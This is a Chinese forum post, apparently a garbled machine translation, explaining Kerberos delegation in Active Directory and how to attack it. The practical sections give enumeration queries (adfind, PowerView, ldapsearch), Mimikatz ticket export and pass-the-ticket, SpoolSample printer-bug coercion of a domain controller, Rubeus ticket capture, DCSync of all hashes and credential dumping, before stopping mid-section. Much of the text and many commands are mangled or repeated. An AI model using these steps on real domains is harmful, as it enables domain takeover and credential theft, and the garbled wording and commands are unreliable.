H

基于域委派的攻击

HackApt-37 Team已验证会员

黑客倉庫站長

贡献: 83%

基于域委派的攻击​

1 域委派相关定义​

1.1 定义​

身份委托是Active Direction Directoro Ry Federation Services(AD FS)的功能,允许管理员指定的帐户模仿用户。模拟用户的帐户称为删除门
对于许多分布式应用程序,此委托功能至关重要
存在许多实际情况,其中Web应用程序“前端”必须从更安全的“后端”中检索数据,例如连接到Microsoft SQL Server数据库的Web服务。
域代表团是一种应用模型,通常在大型网络中部署,为多跳认证带来了极大的便利,并带来了很大的安全风险。委托可以获得域管理员权限,甚至可以创建深层隐藏的后门。
域授权是指将域内用户的权限委派给服务帐户,以便该服务帐户可以通过用户权利进行内域活动。
信息
可以在域中委派两种类型的帐户:主机账户(NET计算机)。另一个是用SETSPN手动添加的服务帐户(NET用户)。无论是无限制还是受限,它都是主机帐户的一个示例,因为使用主机帐户委派的环境易于匹配且易于理解。但是,从攻击委托的角度来看,服务帐户和主机帐户是等效的。
服务帐户(服务帐户),域中的一种用户,服务器用于运行服务,运行服务并加入域的帐户。例如,当安装MS SQL Server时,它将在域中自动注册服务帐户SQLServiceAccount。这种类型的帐户不能用于交互式登录。
20200505104626.png-water_print

After an ordinary user jack in the domain is authenticated to the foreground WEB service through the Kerberos protocol, the service account websvc that runs the WEB service in the foreground simulates the user jack, and continues to authenticate to the background server using the Kerberos protocol, thereby obtaining the access rights of the jack user in the background server, that is, Kerberos authentication with single or multiple hops in the domain.

1.2 流程​

域用户插孔用kerberos方法对访问Web服务器进行身份验证;
Web Service使用WebSVC服务帐户运行,WebSVC启动Jack用户的机票应用程序到KDC;
KDC检查WebSVC用户的委托属性,如果设置,则返回Jack用户的转发发票TGT;
WebSVC收到Jack用户TGT后,它使用票证将kdc申请用于Service Ticket ST以访问文件服务器;
KDC检查WebSVC的委托属性。如果设置和文件服务在允许的列表中,它将返回授权票,供杰克用户访问文件服务ST;
在WebSVC收到的Jack用户的授权票证ST之后,您可以访问文件服务并完成多跳身份验证。

1.3 委派类型​

域内有三种主要的应用方法:
首先,无限制的委托(无约束委托),服务帐户可以获取用户的TGT,因此服务帐户可以使用TGT,该TGT模拟用户对任何服务的访问。
第二个是约束委托,这是Kerberos的扩展协议S4U2Proxy。该服务帐户只能获取某个用户的ST,因此它只能模拟访问特定服务的用户。
20200505111706.png-water_print

2 非约束委派​

2.1 原理​

如果服务A的服务帐户B设置为无限制的授权,则当用户C通过Kerberos Authentication访问服务A时,KDC将检查服务帐户的属性B。当发现它是一个非限制性代表团时,KDC将在STG中使用kdc Will Chers c在STGT中。通过这种方式,B在验证ST时获得了用户A的TGT,因此用户A可以模拟用户A对任何服务的访问。
20200505141105.png-water_print

启用委派后,用户的useraccountcontrol属性中将有一个附加标志:workStation_trusted_for_delegation
20200505111857.png-water_print

无限制委托的设置需要可见的元素特权,通常仅授予域管理员。

2.2 实战​

2.2.1 非约束委派的查找​

2.2.1.1 adfind​

查询非约束委派的主机
adfind.exe -b'dc=pentest,dc=com'-f'(((samaccounttype=805306369)(useraccountcontoncontrol:1.2.840.113556.1.4.8033:=524288))
20200506150858.png-water_print

查询非约束委派的用户
adfind.exe -b'dc=pentest,dc=com'-f'(((samaccounttype=805306368)(useraccountcontoncontrol:1.2.840.113556.1.4.8033:=524288))

2.2.1.2 powerview​

注意:PowerSploit-Dev分支机构
查询配置非约束委派的用户:Get -netuser -uncodented -domain pentest.com
查询配置非约束委派的主机:get -domainComputer -uncontred-domain pentest.com
20210125164005.png-water_print

2.2.1.3 ldapsearch​

信息
需要域中任何用户的帐户密码
查询非约束委派的机器:ldapsearch -lll -x -h ldap: //172.16.147.130:389 -d [email protected]'-w'123456by'-w'123456by'-b dc='((samAccountType=805306369)(用户countControl:1.2.840.113556.1.4.80:=524288))'cn dectionednedname
20200506151449.png-water_print

查询非约束委派的用户:ldapsearch -lll -x -h ldap: //172.16.147.130:389 -d [email protected]'-w'123456'-W'123456'-B dc=pentest,pentest,pentest,pentest,dc=com '((samaccountType=805306368)(用户accountControl:1.2.840.113556.1.4.80:=524288))'cn decondricedName

2.2.2 非约束委派的利用​

2.2.2.1 管理员模拟访问​

信息
在实验之前,建议清除记忆中的账单,Mimikatz下:Kerberos:Purge
模拟管理员调用非约束委托机的SMB服务:NET使用\\ Win7 \ C $
返回到无约束的委托机器,然后检查票证(部分截图):
1
2
特权:DEBUG
Sekualsa3:Tickets
20210125153427.png-water_print

TGT被拦截,我们使用了Sekurlas:Tickets /导出票证
20210125154701.png-water_print

目前,我们对域控制的访问被拒绝:
20210125155041.png-water_print

然后,使用Mimikatz中的Kerberos:PTT帐单文件名将帐单注入内存:
20210125155205.png-water_print

可以成功访问。
如果要执行命令,则可以使用WINRM服务远程连接到域控制服务器:
enter -pssession -computername dc
20210125155344.png-water_print

2.2.2.2 Spooler Printer Bug​

在实际战斗中,简单地发送无约束力的授权呼吁管理员积极连接是浪费时间。因此,无约束的委托+阀门打印机服务可以迫使指定的主机连接。
利用原理:在Windows打印系统远程协议(MS-RPRN)中,利用旧但默认的启用方法,域用户可以使用MS-RPRN RPCREMOTEFINDFIRSTPRSTPRSTPRINTCHANGENOTIFICATION(EX)方法迫使任何计算机都通过Kerberos通过Kerberos或NTLM或NTLM或NTLM或NTLM来验证攻击者选择了启动者的目标。
20181128160313.png-water_print

POC:https://github.com/leechristensen/spoolsample
发送请求到DC的Spooler服务,强迫访问Win7进行身份验证:spoolsample.exe DC Win7
您可以使用Rubeus聆听带有事件ID 4624的事件,以便可以尽快拦截域控件,并每秒监视DC的登录(需要本地管理员许可)TGT:Rubeus.exe Monitor /Intertexal3:1 /Filteruser 3:DC $
:Rubeus.exe捕获的TGT是基本64,但我们不需要解码。 Rubeus可以直接将基本64票注入内存:Rubeus.exe PTT /Ticket:Base64
获得TGT后,使用PTT将票证注入当前会话后,您可以使用DCSYNC导出域控制中所有用户的哈希,然后使用KRBTGT用户的哈希(Hash)生成金音符。
1
2
3
kerberos:ptt xxxx.kirbi
lsadump3:dcsync /domain:test.local /all /csv

3 约束委派​

3.1 原理​

由于无限制代表团的不安全感,Microsoft在Windows Server 2003中引入了受约束的代表团,扩展了Kerberos协议,并引入了S4U,并引入了S4U,其中S4U支持两个子协议:允许用户为用户提供服务(S4U2自行)的服务(S4U2自行服务)(S4U2自行服务)(S4U2自行服务)(s4u2 for proxy to proxy(S4U), KDC的门票代表用户。 S4U2自己可以向Kerberos服务门票(ST)本身索取; S4U2Proxy可以以用户的名义请求其他服务的ST,并限制了委托会限制S4U2Proxy扩展名的范围。
S4U2Self和S4U2Proxy的请求过程(Microsoft手册的图):
步骤1-4表示S4U2自行请求的过程,步骤5-10表示S4U2Proxy的过程
20200506195543.png-water_print

用户向Service1提出请求1。用户已进行身份验证,但是Service1没有用户授权数据。通常,这是因为通过Kerberos以外的其他方式对身份验证进行了验证。
请求ST1通过S4U2自己的扩展名以用户的名义从KDC访问Service1。
KDC返回到Service1 A ST1用于用户身份验证服务1,其中可能包含用户授权数据。
Service1可以在ST中使用授权数据来满足用户的请求,然后对用户响应。
注意:尽管S4U2自己提供了有关用户到Service1的信息,但S4U2自己不允许Service1代表用户向其他服务提出请求。目前,轮到S4U2Proxy发挥了作用。
用户向Service1提出请求,该请求需要作为用户访问Service2上的资源。
Service1请用户以用户的名义从KDC访问Service2的ST2
如果请求包含PAC,则KDC通过检查PAC的签名数据来验证PAC。如果PAC有效或不存在PAC,则KDC将ST2返回到Service1,但是存储在ST2的CNAME和CREALM字段中的客户端标识是用户的身份,而不是Service1的身份。
Service1使用ST2以用户的名义将请求发送到Service2,并确定用户已由KDC认证。
Service2在步骤8中响应该请求。
Service1在步骤5中响应用户的请求。
设置为绑定委托时,其UserAccountControl属性包含Trusted_to_auth_for_delegation(T2A4D),并将MSDS-AllowedTodelegateToTo属性设置为哪个协议
20200505112138.png-water_print

20191031170444.png-water_print

从中,我们可以看到约束委托不需要其他用户的任何活动请求来模拟用户。当您获得配置约束委托的用户时,您可以获得配置相应委托主机的权限。

3.2 实战​

3.2.1 约束委派的查找​

3.2.1.1 adfind​

查询约束委派的主机
adfind.exe -b'dc=pentest,dc=com'-f'(((samAccountType=805306369)(msds -allowedtodelegateto=*))
20210125170246.png-water_print

查询约束委派的用户
adfind.exe -b'dc=pentest,dc=com'-f'(((samAccountType=805306368)(msds -allowedtodelegateto=*))

3.2.1.2 powerview​

查询约束委派的主机
get -domainComputer -trustedtoauth -domain test.com -properties Declotighendname,userAccountControl,MSDS -AllowEdtodelegateto
查询约束委派的用户
get -domainuser - trustedtoauth -domain qiyou.com -properties dickectiesname,userAccountControl,msds -allowedtodelegateto | fl

3.2.1.3 ldapsearch​

查询约束委派的机器:ldapsearch -lll -x -h ldap: //ip:389 -d'[email protected]'-w'123456'-b dc=pentest=pentest,pentest,dc=com'杰出名称msds-msds-allowedtodelegateto
20210125174356.png-water_print

查询约束委派的用户:ldapsearch -lll -x -h ldap: //ip:389 -d'[email protected]'-w'123456'-b dc=pentest,dc=com'((samacccounttype=805306368) MSDS-AllowedTodelegateto

3.2.2 约束委派的利用​

3.2.2.1 常见情况​

众所周知,在受限的委托人的情况下,服务用户只能获取特定用户或主机的服务ST,并且只能使用模拟用户来访问特定的服务,并且无法获得用户的TGT。如果您可以获取启用受约束委托的用户的明文密码或哈希,则可以伪造S4U请求,然后伪造服务用户,并在任何帐户的权限下访问服务ST。
先抓出主机账户的 NTLM Hash 值:mimikatz.exe'ofilege:debug'sekurlsa3:logonpasswords
 
后退
顶部